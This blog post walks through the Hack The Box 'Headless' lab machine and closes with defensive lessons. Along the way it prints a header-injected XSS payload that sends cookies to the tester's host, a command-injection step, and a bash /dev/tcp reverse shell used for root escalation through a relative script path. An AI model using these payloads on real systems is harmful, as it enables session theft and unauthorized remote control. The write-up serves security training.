Headless is an easy box from Hackthebox which is based around some common web security issues - although they’re in less obvious locations which makes the box interesting. Lets get started!
Gaining user access
As always, starting with an nmap scan is the way to go:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|_ 256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Thu, 11 Jul 2024 11:14:39 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
<...SNIP...>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
<...SNIP...>
Nmap done: 1 IP address (1 host up) scanned in 221.45 seconds
We have SSH, nothing especially interesting there, and Werkzeug, a python based web server on port 5000.
Let’s take a look at the site - it seems to be a “coming soon” page with a link to a support contact form. Since this is an HTB machine we know there’s going to be a route to exploitation somewhere so of course this is worth checking out, but in the real world a “coming soon” page will often indicate that a site has been put together quite quickly - after all, it’s only going to be there for a while right? This might mean there’s some less than fantastic security choices at play too!
Before we go any further let’s fire off some directory busting in the background
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3- medium.txt:FFUZ -u http://headless.htb:5000/FFUZ -ic
Now let’s continue…
As a good first step, well try for XSS within this form - but the standard payload <script>alert(1)</script> throws an error - it looks like the developers are one step ahead on this one!
So, I get nothing from adding this to any of the form fields - but that doesn’t mean we’re done. It’s easy (but dangerous) to forget that any HTTP request can be modified by an attacker with a proxy like burpsuite, and therefore we can also try to inject into HTTP headers themselves. I wonder if the developers have this covered too.
I like to use the following payload for testing:
<script>var i=new Image(); i.src="http://10.10.14.34/?cookie="+btoa(document.cookie);</script>
This time we do get a response back to my listening server, and we even appear to have a cookie!
└──╼ **$**sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.91 - - [27/May/2024 10:29:14] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
The cookie is base64 encoded, so let’s decode it:
┌─[✗]─[duck**@****Bippy**]─[~/Boxes/htb/boxes/headless]
└──╼ **$**echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Even better, this looks like an admin cookie!
Meanwhile, Ffuf has found some pages, one of which is a dashboard:
[Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 197ms]
* FFUZ:
[Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 322ms]
* FFUZ: support
[Status: 500, Size: 265,
We can pass the back to the application in any number of ways, but I use a simple cookie jar extension for Firefox to edit cookies as required - do this whichever way you prefer. Now, using the admin cookie, we can view the admin dashboard:
Note: When I completed this box the admin cookie was returned right away - other users suggest that several cookies should come back and that you might need to wait a while for the admin one to show up.
We’re given a “generate report” button - and if we hit it, we get a message back saying “systems are up and running” - I wonder what’s going on in the background…
It’s possible that there’s a well written script performing some checks behind the scenes and returning a pre-defined value, but it’s also possible that some command is just being invoked and the response we’re getting here is queing off the return code. If the latter, we might well be able to inject a command of our own here.
This is easy to test - I add a &whoami and check that the command still runs:
…and it does.
Nothing bubbles up to the user interface, but since nothing broke it’s reasonable to assume that our code did execute - so, let’s move on and see if we can get a ping back from the target system - we’ll start tcpdump and then add a ping command to our injection point.
└──╼ **$**sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:37:32.594429 IP 10.10.14.34.54272 > headless.htb.5000: Flags [S], seq 2925004892, win 64240, options [mss 1460,sackOK,TS val 4131278173 ecr 0,nop,wscale 7], length 0
10:37:32.620299 IP headless.htb.5000 > 10.10.14.34.54272: Flags [S.], seq 545506689, ack 2925004893, win 65160, options [mss 1340,sackOK,TS val 4290847119 ecr 4131278173,nop,wscale 7], len
gth 0
<SNIP>
10:38:44.962061 IP headless.htb.5000 > 10.10.14.34.57410: Flags [S.], seq 3408962217, ack 3843608213, win 65160, options [mss 1340,sackOK,TS val 4290919448 ecr 4131350499,nop,wscale 7], le
ngth 0
10:38:44.962088 IP 10.10.14.34.57410 > headless.htb.5000: Flags [.], ack 1, win 502, options [nop,nop,TS val 4131350540 ecr 4290919448], length 0
10:38:44.962173 IP 10.10.14.34.57410 > headless.htb.5000: Flags [P.], seq 1:600, ack 1, win 502, options [nop,nop,TS val 4131350541 ecr 4290919448], length 599
10:38:44.990350 IP headless.htb.5000 > 10.10.14.34.57410: Flags [.], ack 600, win 505, options [nop,nop,TS val 4290919494 ecr 4131350541], length 0
10:38:45.005933 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 1, length 64
10:38:45.005982 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 1, length 64
10:38:46.081076 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 2, length 64
10:38:46.081137 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 2, length 64
10:38:47.210193 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 3, length 64
10:38:47.210275 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 3, length 64
10:38:48.031599 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 4, length 64
10:38:48.031624 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 4, length 64
10:38:49.050602 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 5, length 64
10:38:49.050674 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 5, length 64
10:38:50.006705 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 6, length 64
10:38:50.006769 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 6, length 64
10:38:51.106004 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 7, length 64
10:38:51.106070 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 7, length 64
10:38:52.023103 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 8, length 64
10:38:52.023168 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 8, length 64
10:38:53.046498 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 9, length 64
10:38:53.046559 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 9, length 64
10:38:54.081637 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 10, length 64
10:38:54.081708 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 10, length 64
10:38:55.092278 IP headless.htb > 10.10.14.34: ICMP echo request, id 13033, seq 11, length 64
10:38:55.092348 IP 10.10.14.34 > headless.htb: ICMP echo reply, id 13033, seq 11, length 64
There you go - ICMP echo request, our ping command worked! We can now inject commands and make the box initiate a connection. From here we can get a shell quite easily. I encode a basic bash shell in base64, then pass this to base64 -d and finally to bash which executes it. This isn’t much more complicated than a standard payload but cuts out a lot of possible messing around with escaping.
We’ll start a listening server….and we’re in!
└──╼ **$**nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.223.91] 60562
bash: cannot set terminal process group (1166): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami
whoami
dvir
dvir@headless:~/app$
Privilege escalation to root
As always in a Linux environment, start with good old sudo -l - who knows, we might just be able to sudo su and be done with it…
dvir@headless:~$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Well, no sudo su but we can run whatever syscheck is as root - and I’m willing to bet it’s a bash script which is what the “Generate report” button is actually invoking.
A quick file command confirms that syscheck is a custom bash script:
dvir@headless:~$ file /usr/bin/syscheck
file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable
Let’s look at the script then :)
\#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
The script first verifies that the script is running with root privileges. It then retrieves the last modification time of the kernel, the available disk space, and the system load average - not too interesting. Finally, however, it checks if the “initdb.sh” process is running, and if not, it starts the database service - since the script runs as root, “initdb.sh” should aslso be run as root.
As it stands, initdb isn’t running - and per the script it should be located in /usr/bin - it isn’t!:
dvir@headless:~$ /usr/bin/pgrep -x "initdb.sh"
/usr/bin/pgrep -x "initdb.sh"
dvir@headless:~$ ls /usr/bin | grep init
ls /usr/bin | grep init
lsinitramfs
unmkinitramfs
xinit
So, this means any script called “initdb.sh” that we placed in /usr/bin would in theory be run as root. Unfortunately, we don t have permission to write to /usr/bin/ - but do we need it?
There’s a potential vulnerability with using a relative path in bash scripts which comes into play here. Specifically, using a relative path for initdb.sh can be problematic if the script is executed from a different directory then intended. Let’s say I run the script from the directory /tmp - now, the directory referenced by ./initdb.sh isn’t /usr/bin/initdb.sh, but rather /tmp/initdb.sh - don’t forget that ./ just means “in the current directory - “ therefore, if an attacker places a malicious initdb.sh in the working directory, it could be executed instead of the intended script. And that’s exactly what we’ll do to root this box. We’ll simply add a basic reverse shell to a bash script in a directory I can write to tmp, call it “initdb.sh” make it executable and then run the syscheck script as root from this location:
dvir@headless:/tmp$ echo "/bin/bash -i >& /dev/tcp/10.10.14.34/7778 0>&1" > initdb.sh
dvir@headless:/tmp$ cat initdb.sh
/bin/bash -i >& /dev/tcp/10.10.14.34/7778 0>&1
dvir@headless:/tmp$ chmod +x initdb.sh
dvir@headless:/tmp$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.04, 0.01, 0.00
Database service is not running. Starting it...
And back on my attack box, catch the shell
root@headless:/tmp# whoami
whoami
root
root@headless:/tmp# cat /root/root.txt
cat /root/root.txt
…and were done!
Avoiding the Hack - Lessons learned
So let’s now take a look at the vulnerabilities we found, and how they could have been avoided.
This was a fairly typical web app sort of box - the first vulnerability wasn’t unusual, but is a good reminder that just because a user is not intended to set HTTP headers, this does not mean they can’t. Never forget that malicious actors don’t tend to do what they’re supposed to do!
The second issue is a specific point for anyone who works with Linux, think very carefully about the use of relative paths - sometimes you do need to use them, sometimes using them is much more sensible than choosing absolute paths and having to do a bunch or re-writes at some point (eg. in a web app), but if you don’t really need them it’s best to pin things down and give an absolute path.
See you in the next one!